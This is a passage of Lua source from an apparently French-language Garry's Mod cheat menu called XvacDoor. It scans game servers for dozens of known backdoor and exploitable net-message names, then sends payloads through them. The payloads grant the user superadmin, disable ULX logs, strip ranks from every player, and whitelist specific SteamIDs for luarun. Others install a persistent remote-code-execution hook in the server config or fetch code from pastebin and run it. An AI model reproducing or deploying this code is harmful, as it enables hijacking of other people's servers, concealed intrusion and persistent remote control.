9126 end
9127
9128
9129status = ValidNetString("EnterpriseWithdraw")
9130if (status) then
9131CHATPRINT("Exploit Trouvé : ENTERPRISE FOUND! [EnterpriseWithdraw]")
9132addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9133surface.PlaySound("garrysmod/ui_click.wav")
9134NOTIFICATION("Starting")
9135net.Start("EnterpriseWithdraw")
9136net.WriteInt(100, 32)
9137net.SendToServer()
9138end )
9139end
9140
9141status = ValidNetString("SetPermaKnife")
9142if (status) then
9143CHATPRINT("Exploit Trouvé : PERMA KNIFE FOUND [SetPermaKnife]")
9144addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9145surface.PlaySound("garrysmod/ui_click.wav")
9146/*
9147function cockSucker(ply,cmd,args,argStr)
9148local ply = LocalPlayer()
9149
9150net.Start( "SetPermaKnife" )
9151 net.WriteString( string.TrimRight(argStr,".lua") )
9152net.SendToServer()
9153end
9154
9155concommand.Add("gibe_weapon",cockSucker)
9156*/
9157end )
9158end
9159
9160
9161
9162
9163
9164
9165
9166
9167
9168
9169
9170/*================================
9171|===== XvacDoor BACKDOOR =====|
9172=================================*/
9173
9174local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
9175backdoorScrollPanel:Dock( FILL )
9176
9177local triggeringbd = "";
9178
9179function triggeringnetcall( str )
9180 local status, error = pcall( net.Start, str )
9181 return status
9182end
9183
9184 if( triggeringnetcall("memeDoor") ) then
9185 triggeringbd = "memeDoor"
9186 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9187 else
9188 end
9189
9190 if( triggeringnetcall("Sandbox_Armdupe") ) then
9191 triggeringbd = "Sandbox_Armdupe"
9192 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9193 else
9194 end
9195
9196 if( triggeringnetcall("DarkRP_AdminWeapons") ) then
9197 triggeringbd = "DarkRP_AdminWeapons"
9198 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9199 else
9200 end
9201
9202 if( triggeringnetcall("SessionBackdoor") ) then
9203 triggeringbd = "SessionBackdoor"
9204 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9205 else
9206 end
9207
9208 if( triggeringnetcall("Fix_Keypads") ) then
9209 triggeringbd = "Fix_Keypads"
9210 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9211 else
9212 end
9213
9214 if( triggeringnetcall("Remove_Exploiters") ) then
9215 triggeringbd = "Remove_Exploiters"
9216 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9217 else
9218 end
9219
9220 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9221 triggeringbd = "noclipcloakaesp_chat_text"
9222 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9223 else
9224 end
9225
9226 if( triggeringnetcall("_Defqon") ) then
9227 triggeringbd = "_Defqon"
9228 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9229 else
9230 end
9231
9232 if( triggeringnetcall("_CAC_ReadMemory") ) then
9233 triggeringbd = "_CAC_ReadMemory"
9234 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9235 else
9236 end
9237
9238 if( triggeringnetcall("nostrip") ) then
9239 triggeringbd = "nostrip"
9240 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9241 else
9242 end
9243
9244 if( triggeringnetcall("https://i.imgur.com/Gf6hLMl.png") ) then
9245 triggeringbd = "https://i.imgur.com/Gf6hLMl.png"
9246 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9247 else
9248 end
9249
9250 if( triggeringnetcall("rebug") ) then
9251 triggeringbd = "rebug"
9252 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9253 else
9254 end
9255
9256
9257 if( triggeringnetcall("LickMeOut") ) then
9258 triggeringbd = "LickMeOut"
9259 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9260 else
9261 end
9262
9263 if( triggeringnetcall("MoonMan") ) then
9264 triggeringbd = "MoonMan"
9265 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9266 else
9267 end
9268
9269 if( triggeringnetcall("Im_SOCool") ) then
9270 triggeringbd = "Im_SOCool"
9271 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9272 else
9273 end
9274
9275 if( triggeringnetcall("ULXQUERY2") ) then
9276 triggeringbd = "ULXQUERY2"
9277 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9278 else
9279 end
9280
9281 if( triggeringnetcall("jesuslebg") ) then
9282 triggeringbd = "jesuslebg"
9283 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9284 else
9285 end
9286
9287 if( triggeringnetcall("zilnix") ) then
9288 triggeringbd = "zilnix"
9289 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9290 else
9291 end
9292
9293 if( triggeringnetcall("enablevac") ) then
9294 triggeringbd = "enablevac"
9295 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9296 else
9297 end
9298
9299 if( triggeringnetcall("-c") ) then
9300 triggeringbd = "-c"
9301 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9302 else
9303 end
9304
9305 if( triggeringnetcall("Þà?D)◘") ) then
9306 triggeringbd = "Þà?D)◘"
9307 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9308 else
9309 end
9310
9311 if( triggeringnetcall("disablebackdoor") ) then
9312 triggeringbd = "disablebackdoor"
9313 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9314 else
9315 end
9316
9317 if( triggeringnetcall("kill") ) then
9318 triggeringbd = "kill"
9319 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9320 else
9321 end
9322
9323 if( triggeringnetcall("88") ) then
9324 triggeringbd = "88"
9325 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9326 else
9327 end
9328
9329 if( triggeringnetcall("ULogs_Info") ) then
9330 triggeringbd = "ULogs_Info"
9331 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9332 else
9333 end
9334
9335 if( triggeringnetcall("Ulib_Message") ) then
9336 triggeringbd = "Ulib_Message"
9337 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9338 else
9339 end
9340
9341 if( triggeringnetcall("Sbox_itemstore") ) then
9342 triggeringbd = "Sbox_itemstore"
9343 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9344 else
9345 end
9346
9347 if( triggeringnetcall("Sbox_darkrp") ) then
9348 triggeringbd = "Sbox_darkrp"
9349 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9350 else
9351 end
9352
9353 if( triggeringnetcall("ITEM") ) then
9354 triggeringbd = "ITEM"
9355 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9356 else
9357 end
9358
9359 if( triggeringnetcall("R8") ) then
9360 triggeringbd = "R8"
9361 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9362 else
9363 end
9364
9365 if( triggeringnetcall("fix") ) then
9366 triggeringbd = "fix"
9367 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9368 else
9369 end
9370
9371 if( triggeringnetcall("Fix_Keypads") ) then
9372 triggeringbd = "Fix_Keypads"
9373 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9374 else
9375 end
9376
9377 if( triggeringnetcall("Remove_Exploiters") ) then
9378 triggeringbd = "Remove_Exploiters"
9379 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9380 else
9381 end
9382
9383 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9384 triggeringbd = "noclipcloakaesp_chat_text"
9385 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9386 else
9387 end
9388
9389 if( triggeringnetcall("ULX_QUERY2") ) then
9390 triggeringbd = "ULX_QUERY2"
9391 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9392 else
9393 end
9394
9395 if( triggeringnetcall("Sandbox_GayParty") ) then
9396 triggeringbd = "Sandbox_GayParty"
9397 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9398 else
9399 end
9400
9401 if( triggeringnetcall("_CAC_G") ) then
9402 triggeringbd = "_CAC_G"
9403 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9404 else
9405 end
9406
9407 if( triggeringnetcall("fellosnake") ) then
9408 triggeringbd = "fellosnake"
9409 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9410 else
9411 end
9412
9413 if( triggeringnetcall("stoppk") ) then
9414 triggeringbd = "stoppk"
9415 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9416 else
9417 end
9418
9419 if( triggeringnetcall("changename") ) then
9420 triggeringbd = "changename"
9421 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9422 else
9423 end
9424
9425 if( triggeringnetcall("Sbox_Message") ) then
9426 triggeringbd = "Sbox_Message"
9427 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9428 else
9429 end
9430
9431 if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
9432 triggeringbd = "Sbox_gm_attackofnullday_key"
9433 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9434 else
9435 end
9436
9437 if( triggeringnetcall("m9k_explosionradius") ) then
9438 triggeringbd = "m9k_explosionradius"
9439 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9440 else
9441 end
9442
9443 if( triggeringnetcall("m9k_explosive") ) then
9444 triggeringbd = "m9k_explosive"
9445 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9446 else
9447 end
9448
9449 if( triggeringnetcall("arivia") ) then
9450 triggeringbd = "arivia"
9451 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9452 else
9453 end
9454
9455 if( triggeringnetcall("_Warns") ) then
9456 triggeringbd = "_Warns"
9457 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9458 else
9459 end
9460
9461 if( triggeringnetcall("pjHabrp9EY") ) then
9462 triggeringbd = "pjHabrp9EY"
9463 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9464 else
9465 end
9466
9467 if( triggeringnetcall("_Raze") ) then
9468 triggeringbd = "_Raze"
9469 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9470 else
9471 end
9472
9473 if( triggeringnetcall("thefrenchenculer") ) then
9474 triggeringbd = "thefrenchenculer"
9475 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9476 else
9477 end
9478
9479 if( triggeringnetcall("Þ� ?D)◘") ) then
9480 triggeringbd = "Þ� ?D)◘"
9481 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9482 else
9483 end
9484
9485 if( triggeringnetcall("PlayerItemPickUp") ) then
9486 triggeringbd = "PlayerItemPickUp"
9487 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9488 else
9489 end
9490
9491 if( triggeringnetcall("echangeinfo") ) then
9492 triggeringbd = "echangeinfo"
9493 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9494 else
9495 end
9496
9497 if( triggeringnetcall("fourhead") ) then
9498 triggeringbd = "fourhead"
9499 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9500 else
9501 end
9502
9503 if( triggeringnetcall("DefqonBackdoor") ) then
9504 triggeringbd = "DefqonBackdoor"
9505 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9506 else
9507 end
9508
9509 if( triggeringnetcall("xenoexistscl") ) then
9510 triggeringbd = "xenoexistscl"
9511 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9512 else
9513 end
9514
9515 if( triggeringnetcall("cvaraccess") ) then
9516 triggeringbd = "cvaraccess"
9517 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9518 else
9519 end
9520
9521 if( triggeringnetcall("NoNerks") ) then
9522 triggeringbd = "NoNerks"
9523 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9524 else
9525 end
9526
9527 if( triggeringnetcall("cucked") ) then
9528 triggeringbd = "cucked"
9529 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9530 else
9531 end
9532
9533 if( triggeringnetcall("OldNetReadData") ) then
9534 triggeringbd = "OldNetReadData"
9535 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9536 else
9537 end
9538
9539 if( triggeringnetcall("DarkRP_UTF8") ) then
9540 triggeringbd = "DarkRP_UTF8"
9541 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9542 else
9543 end
9544
9545 if( triggeringnetcall("fix") ) then
9546 triggeringbd = "fix"
9547 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9548 else
9549 end
9550
9551 if( triggeringnetcall("asunalabestwaifu") ) then
9552 triggeringbd = "asunalabestwaifu"
9553 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9554 else
9555 end
9556
9557 if( triggeringnetcall("__G____CAC") ) then
9558 triggeringbd = "__G____CAC"
9559 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9560 else
9561 end
9562
9563 if( triggeringnetcall("AbSoluT") ) then
9564 triggeringbd = "AbSoluT"
9565 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9566 else
9567 end
9568
9569 if( triggeringnetcall("Gamemode_get") ) then
9570 triggeringbd = "Gamemode_get"
9571 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9572 else
9573 end
9574
9575 if( triggeringnetcall("z") ) then
9576 triggeringbd = "z"
9577 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9578 else
9579 end
9580
9581 if( triggeringnetcall("cvardel") ) then
9582 triggeringbd = "cvardel"
9583 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9584 else
9585 end
9586
9587 if( triggeringnetcall("Sandbox_ArmDupe") ) then
9588 triggeringbd = "Sandbox_ArmDupe"
9589 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9590 else
9591 end
9592
9593 if( triggeringnetcall("antilagger") ) then
9594 triggeringbd = "antilagger"
9595 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9596 else
9597 end
9598
9599 if( triggeringnetcall("effects_en") ) then
9600 triggeringbd = "effects_en"
9601 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9602 else
9603 end
9604
9605 if( triggeringnetcall("file") ) then
9606 triggeringbd = "file"
9607 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9608 else
9609 end
9610
9611 if( triggeringnetcall("ULogs_B") ) then
9612 triggeringbd = "ULogs_B"
9613 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9614 else
9615 end
9616
9617
9618 if( triggeringnetcall("_Warns") ) then
9619 triggeringbd = "_Warns"
9620 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9621 else
9622 end
9623
9624 if( triggeringnetcall("_GaySploit") ) then
9625 triggeringbd = "_GaySploit"
9626 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9627 else
9628 end
9629
9630 if( triggeringnetcall("Bilboard.adverts:Spawn(false)") ) then
9631 triggeringbd = "Bilboard.adverts:Spawn(false)"
9632 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9633 else
9634 end
9635
9636 if( triggeringnetcall("BOOST_FPS") ) then
9637 triggeringbd = "BOOST_FPS"
9638 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9639 else
9640 end
9641
9642 if( triggeringnetcall("gag") ) then
9643 triggeringbd = "gag"
9644 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9645 else
9646 end
9647
9648 if( triggeringnetcall("_cac_") ) then
9649 triggeringbd = "_cac_"
9650 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9651 else
9652 end
9653
9654 if( triggeringnetcall("PlayerItemPickUp") ) then
9655 triggeringbd = "PlayerItemPickUp"
9656 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9657 else
9658 end
9659
9660 if( triggeringnetcall("JSQuery.Data(Post(false))") ) then
9661 triggeringbd = "JSQuery.Data(Post(false))"
9662 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9663 else
9664 end
9665
9666 if( triggeringnetcall("m9k_explosive") ) then
9667 triggeringbd = "m9k_explosive"
9668 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9669 else
9670 end
9671
9672 if( triggeringnetcall("faceposer_flex01") ) then
9673 triggeringbd = "faceposer_flex01"
9674 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.." Pour utiliser celle-ci il est conseillé de se renommer GbrosMC" )
9675 else
9676 end
9677
9678 if( triggeringnetcall("mecthack") ) then
9679 triggeringbd = "mecthack"
9680 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9681 else
9682 end
9683
9684
9685 if triggeringbd == "" then
9686 chat.AddText(Color(0, 0, 0), "[", "XvacDoor", "] ", Color( 255, 0, 0 ), "Aucune backdoor active :(" )
9687 else
9688 chat.AddText(Color(0, 0, 0), "[", "XvacDoor", "] ", Color( 0, 255, 0 ), "Backdoor Active : ".. triggeringbd )
9689 end
9690
9691 if( triggeringnetcall("web") ) then
9692 triggeringbd = "web"
9693 chat.AddText( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9694 else
9695 end
9696
9697
9698----------------------------------------------------
9699
9700local persistbd = [[
9701 local config = ULib.fileRead( "data/ulx/config.txt" )
9702 config = config.."\nulx logEcho 0"
9703 config = config.."\nulx luarun util.AddNetworkString( '_CAC_G' ) net.Receive( '_CAC_G', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
9704 config = config.."\nulx logEcho 1"
9705 ULib.fileWrite( "data/ulx/config.txt", config )
9706 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on server" ) end end
9707 ]]
9708
9709local the88admingive = [[
9710 concommand.Add("88isadmin", function(ply)
9711 RunConsoleCommand("ulx", "logecho", "0")
9712 RunConsoleCommand("ulx","adduser",ply:Nick(),"superadmin")
9713 ply:ChatPrint( "Succès Mec :D" )
9714end )]]
9715
9716local the88admingivecramer = [[
9717 concommand.Add("88isadmincramer", function(ply)
9718 RunConsoleCommand("Fadmin","setaccess",ply:Nick(),"superadmin")
9719end )]]
9720
9721local launchbd = [[
9722
9723 RunConsoleCommand("ulx","luarun","util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
9724
9725 ]]
9726
9727
9728
9729local enablelogs = [[
9730
9731 RunConsoleCommand("ulx","logecho","3")
9732
9733 ]]
9734
9735local nologs = [[
9736
9737 RunConsoleCommand("ulx","logecho","0")
9738
9739 ]]
9740
9741local allowluarun88 = [[
9742
9743 RunConsoleCommand("ulx","userallowid","STEAM_1:1:423243929","ulx luarun")
9744 RunConsoleCommand("ulx","userallowid","STEAM_0:0:422749912","ulx luarun")
9745
9746 ]]
9747
9748local unrankall = [[
9749
9750 RunConsoleCommand("FAdmin","setaccess","*", "user")
9751
9752 ]]
9753
9754
9755
9756---------------------------------------------------
9757
9758
9759
9760
9761local Entry = vgui.Create( "DTextEntry" )
9762Entry:SetParent(backdoorScrollPanel)
9763Entry:SetPos( 0, 480 )
9764Entry:SetSize( 190, 30 )
9765Entry:SetText( "Macro Here" )
9766
9767function BDAdd(id, text, desc, func)
9768local bdid = vgui.Create( "DButton", backdoorScrollPanel )
9769bdid:SetText( text )
9770bdid:SetTextColor( Color( 200, 200, 200, 220 ) )
9771bdid:SetFont("Roboto")
9772bdid:Dock( TOP )
9773bdid:DockMargin( 210, 45, 10, -35 )
9774bdid:DockPadding( 2, 20, 20, 60 )
9775bdid.DoClick = func
9776if desc then
9777bdid:SetToolTip( desc )
9778end
9779bdid.Paint = function( self, w, h )
9780bdid.OnCursorEntered = function(self)
9781-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9782surface.PlaySound( "buttons/button15.wav" )
9783end
9784if bdid:IsHovered() then
9785-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9786draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9787else
9788draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9789end
9790surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9791surface.DrawOutlinedRect( 0, 0, w, h )
9792end
9793end
9794
9795BDAdd( "1","Se Mettre SuperAdmin ULX", "Ca va chauffer :c", function()
9796surface.PlaySound("garrysmod/ui_click.wav")
9797NOTIFICATION("YOUUUUUUUUUHOUUUUUUUUUUUUU")
9798net.Start(""..triggeringbd.."")
9799net.WriteString(""..the88admingive.."")
9800net.WriteBit(1)
9801RunConsoleCommand "88isadmin"
9802net.SendToServer()
9803end )
9804
9805BDAdd( "2","Se Mettre SuperAdmin FADMIN", "Très cramer mais utile", function()
9806surface.PlaySound("garrysmod/ui_click.wav")
9807NOTIFICATION("Hop hop hop :D")
9808net.Start(""..triggeringbd.."")
9809net.WriteString(""..the88admingivecramer.."")
9810net.WriteBit(1)
9811RunConsoleCommand "88isadmincramer"
9812net.SendToServer()
9813end )
9814
9815BDAdd( "3","Activer Backdoor XvD", "Sa va faire mal", function()
9816surface.PlaySound("garrysmod/ui_click.wav")
9817NOTIFICATION("Go foutre le bordel :3")
9818net.Start(""..triggeringbd.."")
9819net.WriteString(launchbd)
9820net.WriteBit(1)
9821net.SendToServer()
9822end )
9823
9824BDAdd( "4","Desactiver Logs", "Invisible pour les commandes ulx :D", function()
9825surface.PlaySound("garrysmod/ui_click.wav")
9826NOTIFICATION("Logs Desactivé")
9827net.Start(""..triggeringbd.."")
9828net.WriteString(""..nologs.."")
9829net.WriteBit(1)
9830net.SendToServer()
9831end )
9832
9833BDAdd( "5","Activer Logs", "Sa sera pratique pour pas cramer", function()
9834surface.PlaySound("garrysmod/ui_click.wav")
9835NOTIFICATION("Logs Activé")
9836net.Start(""..triggeringbd.."")
9837net.WriteString(""..enablelogs.."")
9838net.WriteBit(1)
9839net.SendToServer()
9840end )
9841
9842BDAdd( "6","Demarrer Xvac Backdoor Menu", "Perfect", function()
9843surface.PlaySound("garrysmod/ui_click.wav")
9844RunConsoleCommand "Xvacdoor"
9845end )
9846
9847BDAdd( "7","Luarun Xvac", "BACKDOOR TIME :3", function()
9848surface.PlaySound("garrysmod/ui_click.wav")
9849net.Start(""..triggeringbd.."")
9850net.WriteString(""..allowluarun88.."")
9851net.WriteBit(1)
9852net.SendToServer()
9853end )
9854
9855BDAdd( "8","Unrank Tout Le Serveur", "RIP LES RANKS :c", function()
9856surface.PlaySound("garrysmod/ui_click.wav")
9857net.Start(""..triggeringbd.."")
9858net.WriteString(""..unrankall.."")
9859net.WriteBit(1)
9860net.SendToServer()
9861end )
9862
9863BDAdd( "9","Activer LuaRun", "rt si t'es trist yoh :c", function()
9864surface.PlaySound("garrysmod/ui_click.wav")
9865net.Start(""..triggeringbd.."")
9866net.WriteString("http.Fetch(\"https://pastebin.com/raw/kbzarvsW\",function(b,l,h,c)RunString(b)end,nil)")
9867net.WriteBit(1)
9868net.SendToServer()
9869end )
9870
9871BDAdd( "9","Kill SNTE", "rt si t'es trist yoh :c", function()
9872surface.PlaySound("garrysmod/ui_click.wav")
9873net.Start(""..triggeringbd.."")
9874net.WriteString("http.Fetch(\"https://pastebin.com/raw/GzpPgx8q\",function(b,l,h,c)RunString(b)end,nil)")
9875net.WriteBit(1)
9876net.SendToServer()
9877end )
9878
9879
9880/*================================
9881|===== XvacDoor MUSIQUES =====|
9882=================================*/
9883
9884
9885local soundboardmusicScrollPanel = vgui.Create( "DScrollPanel", mscsbd )
9886soundboardmusicScrollPanel:Dock( FILL )
